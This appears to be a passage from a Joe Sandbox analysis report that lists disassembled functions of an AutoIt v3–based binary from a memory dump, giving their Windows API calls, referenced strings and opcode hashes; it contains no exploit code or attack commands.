Opcode Fuzzy Hash: 6692985a8a6120d4c401ffe2690adab8c24889c731404607c31c47f6db1892c8
Instruction Fuzzy Hash: D611CE70200300BFDB229BA6DC48F677BBEEBC5B61F10816DF516D6260DB71DC008660

Function 00A22BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 009E2B6B

Part of subcall function 009E3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00AB1418,?,009E2E7F,?,?,?,00000000), ref: 009E3A78

Part of subcall function 009E9CB3: _wcslen.LIBCMT ref: 009E9CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,00AA2224), ref: 00A22C10
ShellExecuteW.SHELL32(00000000,?,?,00AA2224), ref: 00A22C17

Strings

runas, xrefs: 00A22C0B

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: 8f90244fa8a44219d6346e9c25eccb33f8fcf79fbcc4675f5a63b5b427dc7f1b
Instruction ID: cbdaf2c6e96ae7452509bdcc799909ff10937c9b48d19fb893079b093df28ac4
Opcode Fuzzy Hash: 8f90244fa8a44219d6346e9c25eccb33f8fcf79fbcc4675f5a63b5b427dc7f1b
Instruction Fuzzy Hash: F311D6311083C16AC716FF76DC55FAE77A8ABD2350F98582DF086570A3DF218E4A8712

Function 00A4DBBE Relevance: 6.0, APIs: 4, Instructions: 29
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(?,00A25222), ref: 00A4DBCE
GetFileAttributesW.KERNELBASE(?), ref: 00A4DBDD
FindFirstFileW.KERNEL32(?,?), ref: 00A4DBEE
FindClose.KERNEL32(00000000), ref: 00A4DBFA

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: 3e61d1e2325cd97dadde50f9f3489ae1d7b3727083f211666fa064513deabae8
Instruction ID: 5e381eb774ff355e2cf2c881ca6776960ede401b7112bb76961b4d1a160dabcd
Opcode Fuzzy Hash: 3e61d1e2325cd97dadde50f9f3489ae1d7b3727083f211666fa064513deabae8
Instruction Fuzzy Hash: 05F0A03081091067C221ABF8AC4D8AA376C9F82334B50871AF83AC20E1EBB059D686D5

Function 00A6AFF9 Relevance: 24.4, APIs: 16, Instructions: 418
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 00A6B198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00A6B1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00A6B1D4
_wcslen.LIBCMT ref: 00A6B200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00A6B214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00A6B236
_wcslen.LIBCMT ref: 00A6B332

Part of subcall function 00A505A7: GetStdHandle.KERNEL32(000000F6), ref: 00A505C6

_wcslen.LIBCMT ref: 00A6B34B
_wcslen.LIBCMT ref: 00A6B366
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00A6B3B6
GetLastError.KERNEL32(00000000), ref: 00A6B407
CloseHandle.KERNEL32(?), ref: 00A6B439
CloseHandle.KERNEL32(00000000), ref: 00A6B44A
CloseHandle.KERNEL32(00000000), ref: 00A6B45C
CloseHandle.KERNEL32(00000000), ref: 00A6B46E
CloseHandle.KERNEL32(?), ref: 00A6B4E3

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: 26c6b8dbb6f941ef33e56792a8223cbac011588c336d0c765f317d63bad96940
Instruction ID: 09cf84b56dc9e0eb174a9c489e753de303ab88302e99e257165c611e23e871fb
Opcode Fuzzy Hash: 26c6b8dbb6f941ef33e56792a8223cbac011588c336d0c765f317d63bad96940
Instruction Fuzzy Hash: 85F1AB316183409FC715EF24C891B6EBBF4AF85714F14895DF9998B2A2DB30EC85CB62

Function 009ED730 Relevance: 21.6, APIs: 14, Instructions: 619windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 009ED807
timeGetTime.WINMM ref: 009EDA07
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 009EDB28
TranslateMessage.USER32(?), ref: 009EDB7B
DispatchMessageW.USER32(?), ref: 009EDB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 009EDB9F
Sleep.KERNELBASE(0000000A), ref: 009EDBB1

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: 55507b07fa59bff9d43b11ab39b96439e6eea5c2dc1f2d58eb25366db22ed1f9
Instruction ID: f07b4f4cd6cd00735971b07270d0c9bf9ef7dceada31a5683554aed50902d609
Opcode Fuzzy Hash: 55507b07fa59bff9d43b11ab39b96439e6eea5c2dc1f2d58eb25366db22ed1f9
Instruction Fuzzy Hash: 7842F430609381DFD72ACF25C894B6AB7E4BF85314F148A2DF5958B2A2D774EC45CB82

Function 009E2CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 009E2D07
RegisterClassExW.USER32(00000030), ref: 009E2D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 009E2D42
InitCommonControlsEx.COMCTL32(?), ref: 009E2D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 009E2D6F
LoadIconW.USER32(000000A9), ref: 009E2D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 009E2D94

Strings

+, xrefs: 009E2CF0
TaskbarCreated, xrefs: 009E2D37
0, xrefs: 009E2CE9
AutoIt v3 GUI, xrefs: 009E2D23

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 041ef7509f5b40fa38c9e30e24c6e2103eab54767851e61725dd5f9e6d2d99d3
Instruction ID: d8dbdb519124bfb92187e2fafd8ce8ed10ee3b355feb7492c7247bf2797f2568
Opcode Fuzzy Hash: 041ef7509f5b40fa38c9e30e24c6e2103eab54767851e61725dd5f9e6d2d99d3
Instruction Fuzzy Hash: 7221F2B1901348AFDB00DFE4EC99BDDBBB8FB08715F10821AF615A62A0D7B10586CF91

Function 00A2065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A2039A: CreateFileW.KERNELBASE(00000000,00000000,?,00A20704,?,?,00000000,?,00A20704,00000000,0000000C), ref: 00A203B7

GetLastError.KERNEL32 ref: 00A2076F
__dosmaperr.LIBCMT ref: 00A20776
GetFileType.KERNELBASE(00000000), ref: 00A20782
GetLastError.KERNEL32 ref: 00A2078C
__dosmaperr.LIBCMT ref: 00A20795
CloseHandle.KERNEL32(00000000), ref: 00A207B5
CloseHandle.KERNEL32(?), ref: 00A208FF
GetLastError.KERNEL32 ref: 00A20931
__dosmaperr.LIBCMT ref: 00A20938

Strings

H, xrefs: 00A208BD

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 2786c48f808baa1674cc52c0a6491e4f18e58a1649e2bb24be26f615c52889d2
Instruction ID: 05abe3a3c9d71252a665c31ca7acdfad296daaf07e4a6187e49d8293a3ad78a8
Opcode Fuzzy Hash: 2786c48f808baa1674cc52c0a6491e4f18e58a1649e2bb24be26f615c52889d2
Instruction Fuzzy Hash: 5FA1F432A001188FDF19EF7CED51BAE7BA0AB46320F144169F815AF2E2D7359953CB91

Function 009E344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009E3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00AB1418,?,009E2E7F,?,?,?,00000000), ref: 009E3A78

Part of subcall function 009E3357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 009E3379

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 009E356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00A2318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00A231CE
RegCloseKey.ADVAPI32(?), ref: 00A23210
_wcslen.LIBCMT ref: 00A23277
_wcslen.LIBCMT ref: 00A23286

Strings

\Include\, xrefs: 009E3527
Include, xrefs: 00A23184, 00A231C5
\, xrefs: 00A2328C
Software\AutoIt v3\AutoIt, xrefs: 009E3560

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: 8b67481ce0070feb8f0dd888e943aa8a5e63631bfb223b82082f8a7ea36eca62
Instruction ID: 999dd60e452d785d65004e32d9d2d8026dd892099db9a572cfd94722037309d1
Opcode Fuzzy Hash: 8b67481ce0070feb8f0dd888e943aa8a5e63631bfb223b82082f8a7ea36eca62
Instruction Fuzzy Hash: 5D71B3714043409EC715EFA9EC81AABB7E8FF95740F404A2EF5458B1B1EB349A49CB51

Function 009E2B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 009E2B8E
LoadCursorW.USER32(00000000,00007F00), ref: 009E2B9D
LoadIconW.USER32(00000063), ref: 009E2BB3
LoadIconW.USER32(000000A4), ref: 009E2BC5
LoadIconW.USER32(000000A2), ref: 009E2BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 009E2BEF
RegisterClassExW.USER32(?), ref: 009E2C40

Part of subcall function 009E2CD4: GetSysColorBrush.USER32(0000000F), ref: 009E2D07
Part of subcall function 009E2CD4: RegisterClassExW.USER32(00000030), ref: 009E2D31
Part of subcall function 009E2CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 009E2D42
Part of subcall function 009E2CD4: InitCommonControlsEx.COMCTL32(?), ref: 009E2D5F
Part of subcall function 009E2CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 009E2D6F
Part of subcall function 009E2CD4: LoadIconW.USER32(000000A9), ref: 009E2D85
Part of subcall function 009E2CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 009E2D94

Strings

AutoIt v3, xrefs: 009E2C2F
#, xrefs: 009E2C16
0, xrefs: 009E2C0F

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 55df341e3f934dc92e48610380a45e8a20bfd1f28e2ee557b522740c36722793
Instruction ID: d46361fa1b309db34b2ee3f25c74d332cd6658c3408d76e6b5d2176c3a4e20d1
Opcode Fuzzy Hash: 55df341e3f934dc92e48610380a45e8a20bfd1f28e2ee557b522740c36722793
Instruction Fuzzy Hash: FA216A71E00314ABCB50DFE6EC69BA97FF8FB08B50F50411AE504AA6B1E7B10542CF90

Function 009E3170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,009E316A,?,?), ref: 009E31D8
KillTimer.USER32(?,00000001,?,?,?,?,?,009E316A,?,?), ref: 009E3204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 009E3227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,009E316A,?,?), ref: 009E3232
CreatePopupMenu.USER32 ref: 009E3246
PostQuitMessage.USER32(00000000), ref: 009E3267

Strings

TaskbarCreated, xrefs: 009E322D

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 1d1e82722d661a8dba45bfc0e344f6286fa50790ccc9054c0d1e346e72c3611a
Instruction ID: c70a2c932a98eeb55f0622ced5f547d7120cf3e7c53697e7865f6688781fd474
Opcode Fuzzy Hash: 1d1e82722d661a8dba45bfc0e344f6286fa50790ccc9054c0d1e346e72c3611a
Instruction Fuzzy Hash: 5041BC34208280B7DF1A9BB9DC1DBB93A5CE741340F84C62DF656872B2EB74CE419761

Function 009E2C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 009E2C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 009E2CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,009E1CAD,?), ref: 009E2CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,009E1CAD,?), ref: 009E2CCF

Strings

AutoIt v3, xrefs: 009E2C89, 009E2C8E, 009E2C8F
edit, xrefs: 009E2CAC

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 9cb02ecc92e97e66fc85147e600adc775cda381e87607104183d4b4d3f2bdec9
Instruction ID: 6ffb30a5654637841e85cd129985eab3c05268959907522fd51194d06d04e737
Opcode Fuzzy Hash: 9cb02ecc92e97e66fc85147e600adc775cda381e87607104183d4b4d3f2bdec9
Instruction Fuzzy Hash: 5FF030755402907AE77087636C1CE772EBDD7C6F60B54411DF904965B1E6610842DB74

Function 00A4E97B Relevance: 7.5, APIs: 5, Instructions: 47
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 00A4E997
QueryPerformanceFrequency.KERNEL32(?), ref: 00A4E9A5
Sleep.KERNEL32(00000000), ref: 00A4E9AD
QueryPerformanceCounter.KERNEL32(?), ref: 00A4E9B7
Sleep.KERNELBASE ref: 00A4E9F3

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 6c607e12bf2f874b0a776135b31cb9c6fd2305357cfddcbdda1e12485c8613be
Instruction ID: 0d198940efca191b60638ec13724ec9e3e4fffd87b806e3561bd1e4f4d6154a4
Opcode Fuzzy Hash: 6c607e12bf2f874b0a776135b31cb9c6fd2305357cfddcbdda1e12485c8613be
Instruction Fuzzy Hash: 53015735C01629DBCF00EFE5EC49AEDFB78BB48320F40465AE506B2282CB309591CBA1

Function 009E3B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,009E3B0F,SwapMouseButtons,00000004,?), ref: 009E3B40
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,009E3B0F,SwapMouseButtons,00000004,?), ref: 009E3B61
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,009E3B0F,SwapMouseButtons,00000004,?), ref: 009E3B83

Strings

Control Panel\Mouse, xrefs: 009E3B3E

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: b356ea282c0499f06d2a6ec6ab7e36c2f3c87c9f3e1d207194328cef41605a69
Instruction ID: f6f6896993532343d1a301369a7cc5ebe24707c343eb1094c11a23bfa35c3849
Opcode Fuzzy Hash: b356ea282c0499f06d2a6ec6ab7e36c2f3c87c9f3e1d207194328cef41605a69
Instruction Fuzzy Hash: 6F112AB5510248FFDB21CFA6DC48ABEB7BCEF44754B148959E806D7110E2319E419BA0

Function 009E3923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00A233A2

Part of subcall function 009E6B57: _wcslen.LIBCMT ref: 009E6B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 009E3A04

Strings

Line: , xrefs: 00A233EB

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: 17dfc8251b4f7bb89faac405f6afd0acea6d28a332bf46fb9d51f7a54889478e
Instruction ID: 52f23219f55c57a1d667f2c78dacd36eb1ac29a7fb45f4715027c92b87b949b7
Opcode Fuzzy Hash: 17dfc8251b4f7bb89faac405f6afd0acea6d28a332bf46fb9d51f7a54889478e
Instruction Fuzzy Hash: 8331F871408380AAC722EB61DC49BDB77DCAF80710F50892EF599871D2EB749E45C7C2

Function 009FFDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00A00668

Part of subcall function 00A032A4: RaiseException.KERNEL32(?,?,?,00A0068A,?,00AB1444,?,?,?,?,?,?,00A0068A,009E1129,00AA8738,009E1129), ref: 00A03304

__CxxThrowException@8.LIBVCRUNTIME ref: 00A00685

Strings

Unknown exception, xrefs: 00A00692

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: 8428c287e8921a56f80d38d5202a8c8b9ffd6551d7880306afd363c0f405d88f
Instruction ID: 825a7aad226130db1c60a045e9a0e0d09d6e84a975a507009374a3e9b64357ff
Opcode Fuzzy Hash: 8428c287e8921a56f80d38d5202a8c8b9ffd6551d7880306afd363c0f405d88f
Instruction Fuzzy Hash: 7DF0C23490020D7BCF00B664FD56EAE776D6E00350F608531B914D65D2EFB2EA25C680

Function 009E10F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 009E1BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 009E1BF4
Part of subcall function 009E1BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 009E1BFC
Part of subcall function 009E1BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 009E1C07
Part of subcall function 009E1BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 009E1C12
Part of subcall function 009E1BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 009E1C1A
